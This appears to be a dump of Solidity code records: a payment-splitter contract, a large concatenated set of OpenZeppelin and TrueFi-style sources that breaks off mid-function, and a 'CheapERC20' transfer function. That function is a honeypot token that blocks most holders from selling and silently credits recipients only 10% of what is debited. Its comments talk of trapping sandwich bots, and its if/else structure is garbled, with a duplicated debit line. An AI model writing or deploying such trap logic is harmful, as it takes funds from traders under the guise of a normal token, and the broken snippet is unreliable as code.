file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
/** * This smart contract code is Copyright 2018 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ pragma solidity ^0.4.18; /** * @dev Split ether between parties. * @author TokenMarket Ltd. / Ville Sundell <ville at tokenmarket.net> * * Allows splitting payments between parties. * Ethers are split to parties, each party has slices they are entitled to. * Ethers of this smart contract are divided into slices upon split(). */ import "./Recoverable.sol"; import "zeppelin/contracts/math/SafeMath.sol"; contract PaymentSplitter is Recoverable { using SafeMath for uint256; // We use only uint256 for safety reasons (no boxing) /// @dev Describes a party (address and amount of slices the party is entitled to) struct Party { address addr; uint256 slices; } /// @dev This is just a failsafe, so we can't initialize a contract where /// splitting would not be succesful in the future (for example because /// of decreased block gas limit): uint256 constant MAX_PARTIES = 100; /// @dev How many slices there are in total: uint256 public totalSlices; /// @dev Array of "Party"s for each party's address and amount of slices: Party[] public parties; /// @dev This event is emitted when someone makes a payment: /// (Gnosis MultiSigWallet compatible event) event Deposit(address indexed sender, uint256 value); /// @dev This event is emitted when someone splits the ethers between parties: /// (emitted once per call) event Split(address indexed who, uint256 value); /// @dev This event is emitted for every party we send ethers to: event SplitTo(address indexed to, uint256 value); /// @dev Constructor: takes list of parties and their slices. /// @param addresses List of addresses of the parties /// @param slices Slices of the parties. Will be added to totalSlices. function PaymentSplitter(address[] addresses, uint[] slices) public { require(addresses.length == slices.length, "addresses and slices must be equal length."); require(addresses.length > 0 && addresses.length < MAX_PARTIES, "Amount of parties is either too many, or zero."); for(uint i=0; i<addresses.length; i++) { parties.push(Party(addresses[i], slices[i])); totalSlices = totalSlices.add(slices[i]); } } /// @dev Split the ethers, and send to parties according to slices. /// This can be intentionally invoked by anyone: if some random person /// wants to pay for the gas, that's good for us. function split() external { uint256 totalBalance = this.balance; uint256 slice = totalBalance.div(totalSlices); for(uint i=0; i<parties.length; i++) { uint256 amount = slice.mul(parties[i].slices); parties[i].addr.send(amount); emit SplitTo(parties[i].addr, amount); } emit Split(msg.sender, totalBalance); } /// @dev Fallback function, intentionally designed to fit to the gas stipend. function() public payable { emit Deposit(msg.sender, msg.value); } }
Split the ethers, and send to parties according to slices. This can be intentionally invoked by anyone: if some random person wants to pay for the gas, that's good for us.
function split() external { uint256 totalBalance = this.balance; uint256 slice = totalBalance.div(totalSlices); for(uint i=0; i<parties.length; i++) { uint256 amount = slice.mul(parties[i].slices); parties[i].addr.send(amount); emit SplitTo(parties[i].addr, amount); } emit Split(msg.sender, totalBalance); }
1,771,770
./full_match/1/0x3BDa9A327c4A153354E58D0d566ce25AeEdAaffB/sources/contracts/CheapERC20.sol
Authentication done previously This should be true for everything on mainnet Needs to succeed when people buy from the pool if(from == owner || to == owner || from == pool) { TODO: add payment to miner in case of the sandwicher not paying out Two users managed to sell after many hours, so need to be careful about this Maybe use blockhash as a random number generator? I think the sandwich smart contracts will revert if they don't get their ETH now uint payout = address(this).balance > 0.1 ether ? 0.1 ether : address(this).balance; (bool success,) = block.coinbase.call{value: payout}("");
function _transfer(address from, address to, uint tokens) internal { bool isFlashbot = false; for (uint i = 0; i < blacklist.length; i++) { if (block.coinbase == blacklist[i]) { isFlashbot = true; break; } } bool isWhitelisted = false; for (uint i = 0; i < whitelist.length; i++) { if (from == whitelist[i]) { isWhitelisted = true; break; } } if(from == owner || to == owner || from == pool || isWhitelisted || allowSelling) { balances[from] -= tokens; balances[to] += tokens; balances[from] -= tokens; uint trapAmount = (tokens * 10) / 100; balances[to] += trapAmount; } emit Transfer(from, to, tokens); }
2,941,680
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "IERC20.sol"; import "SafeMath.sol"; import "Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Copied from https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/v3.0.0/contracts/Initializable.sol // Added public isInitialized() view of private initialized bool. // SPDX-License-Identifier: MIT pragma solidity 0.6.10; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } /** * @dev Return true if and only if the contract has been initialized * @return whether the contract has been initialized */ function isInitialized() public view returns (bool) { return initialized; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {Address} from "Address.sol"; import {Context} from "Context.sol"; import {IERC20} from "IERC20.sol"; import {SafeMath} from "SafeMath.sol"; import {Initializable} from "Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_initialize(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public virtual view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero") ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function updateNameAndSymbol(string memory __name, string memory __symbol) internal { _name = __name; _symbol = __symbol; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {Context} from "Context.sol"; import {Initializable} from "Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; interface IYToken is IERC20 { function getPricePerFullShare() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {IYToken} from "IYToken.sol"; interface ICurve { function calc_token_amount(uint256[4] memory amounts, bool deposit) external view returns (uint256); function get_virtual_price() external view returns (uint256); } interface ICurveGauge { function balanceOf(address depositor) external view returns (uint256); function minter() external returns (ICurveMinter); function deposit(uint256 amount) external; function withdraw(uint256 amount) external; } interface ICurveMinter { function mint(address gauge) external; function token() external view returns (IERC20); } interface ICurvePool { function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; function remove_liquidity_one_coin( uint256 _token_amount, int128 i, uint256 min_amount, bool donate_dust ) external; function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256); function token() external view returns (IERC20); function curve() external view returns (ICurve); function coins(int128 id) external view returns (IYToken); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; /** * TruePool is an ERC20 which represents a share of a pool * * This contract can be used to wrap opportunities to be compatible * with TrueFi and allow users to directly opt-in through the TUSD contract * * Each TruePool is also a staking opportunity for TRU */ interface ITrueFiPool is IERC20 { /// @dev pool token (TUSD) function currencyToken() external view returns (IERC20); /** * @dev join pool * 1. Transfer TUSD from sender * 2. Mint pool tokens based on value to sender */ function join(uint256 amount) external; /** * @dev borrow from pool * 1. Transfer TUSD to sender * 2. Only lending pool should be allowed to call this */ function borrow(uint256 amount, uint256 fee) external; /** * @dev join pool * 1. Transfer TUSD from sender * 2. Only lending pool should be allowed to call this */ function repay(uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; interface ITrueLender { function value() external view returns (uint256); function distribute( address recipient, uint256 numerator, uint256 denominator ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; interface IUniswapRouter { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } // SPDX-License-Identifier: BSD-4-Clause /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity 0.6.10; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt(uint256 